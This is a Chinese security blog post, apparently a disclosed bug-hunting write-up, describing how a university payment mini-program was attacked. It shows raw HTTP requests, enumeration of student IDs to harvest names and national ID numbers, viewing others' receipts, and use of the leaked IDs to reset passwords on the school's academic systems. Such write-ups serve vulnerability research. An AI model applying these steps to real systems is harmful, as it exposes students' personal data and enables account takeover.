前言
版权声明:本文为本博主在CSDN的原创文章搬运而来,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/weixin_72543266/article/details/137606513
免责声明
以下漏洞均已经上报漏洞平台。请勿利用文章内的相关技术从事非法测试。若因此产生一切后果与本博客及本人无关。
分享声明
此篇博文为微信公众号小呆安全的404Xyunxi_师傅投稿的,经过本人同意,进行分享
个人介绍
如何从小程序到教务系统----漏洞思路分享
挖洞前提
相信很多师傅都会遇到这个问题,如果挖edu没有账号,那么就可以尝试去挖小程序,因为大部分小程序可以微信登陆,不需要账号密码登陆,那么小程序就可以作为一个入口去测试.
案例漏洞信息介绍
水平越权漏洞
水平越权漏洞指的是用户访问了与其权限相同的其他用户的资源,而敏感信息泄露漏洞则涉及不当暴露的敏感数据。漏洞通常是由于开发人员在实现数据访问逻辑时,过分信任客户端请求而忽略了必要的权限检查导致的。
敏感信息泄露漏洞
敏感信息泄露漏洞则是指应用程序在不应当的情况下公开或泄露了敏感数据。
测试案例
小程序部分:
本次案例就是一个小程序案例,一开始我也没有账号,那么将目光瞄准小程序,一开始是一个缴费系统
漏洞点一(越权):
首先看到了界面上的培训报名功能点,点进去,看看数据包
找到了这个数据包
GET /api/social/regsuccess?studentId=0&openId=o2KYg5d6Xp-XfyRH55bepR6A2Onk HTTP/2 Host: xxxxx.edu.cn Xweb_xhr: 1 Authorization: Basic eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJvMktZZzVkNlhwLVhmeVJINTViZXBSNkEyT25rIiwiaWF0IjoiMTcxMjA1OTMxMSIsIm5iZiI6IjE3MTIwNTkzMTEiLCJleHAiOiIxNzEyMDYwMzExIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9leHBpcmF0aW9uIjoiMjAyNC80LzIgMjA6MTg6MzEiLCJpc3MiOiJTZWNTY2hvb2wiLCJhdWQiOiJ3ciJ9.549KCByIzlS0x4sgl5bmXBx7sxSuFsaSQp4IVbcJ1ts User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/9079 Content-Type: application/json Accept: */* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://xxxxxxxxx Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
发包
当studentId=0 的时候,显示该学员还没注册,那么下一步很正常的思路就是遍历一下studentId 看看会不会返回敏感信息
随意更改一下studentId就出现很多敏感信息 ,放到爆破模块跑一下,随意跑500个
跑出来了很多一个人的三件套,姓名,身份证,学号,越权+1
漏洞点2(敏感信息泄露):
现在尝试登陆这个小程序,随意使用爆出来的身份信息进行登陆
成功登陆进小程序,拿到个人信息
敏感信息泄露+1
漏洞点3(越权):
继续在登陆过后的小程序翻找功能点
我的票据----查看票据
数据包
GET /api/order/loadOrderInvoice?orderNumber=20230829199535 HTTP/2 Host: xxxxxx.edu.cn Xweb_xhr: 1 Authorization: Basic eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiJvMktZZzVkNlhwLVhmeVJINTViZXBSNkEyT25rIiwiaWF0IjoiMTcxMjA1OTMxMSIsIm5iZiI6IjE3MTIwNTkzMTEiLCJleHAiOiIxNzEyMDYwMzExIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9leHBpcmF0aW9uIjoiMjAyNC80LzIgMjA6MTg6MzEiLCJpc3MiOiJTZWNTY2hvb2wiLCJhdWQiOiJ3ciJ9.549KCByIzlS0x4sgl5bmXBx7sxSuFsaSQp4IVbcJ1ts User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/9079 Content-Type: application/json Accept: */* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
观察到了orderNumbe 号码 那么尝试更改一下 20230829199533
发包
查看该照片
可以看到缴费人和缴费金额不一样了,存在越权,越权+1
Web部分:
现在我们整理一下收集到的信息 很多学号 身份证 姓名 三要素齐全了 那么我们下一步思路就是通过这些东西去登陆该学校其他系统
鹰图搜索
直接找到很多系统 尝试去登陆
这一步很重要 因为即使账号密码修改了,不是默认的也没有关系,我们可以通过身份证来修改密码,这样就达到了登陆的效果
拿到了第一个系统
界面上没有修改密码的选项,那么就查看js,找到修改密码的接口
拼接
发现可以直接通过身份证进行密码重置,这里就可以直接重置密码进入系统,然后可以进行后续操作
第二个系统
标准的教务系统,继续忘记密码
密保答案可以随意填写,然后就可以直接修改密码了,这里就只对身份证做了验证,而恰巧我们就得到了身份证,后续我们登陆成功
后续就不继续深入讲了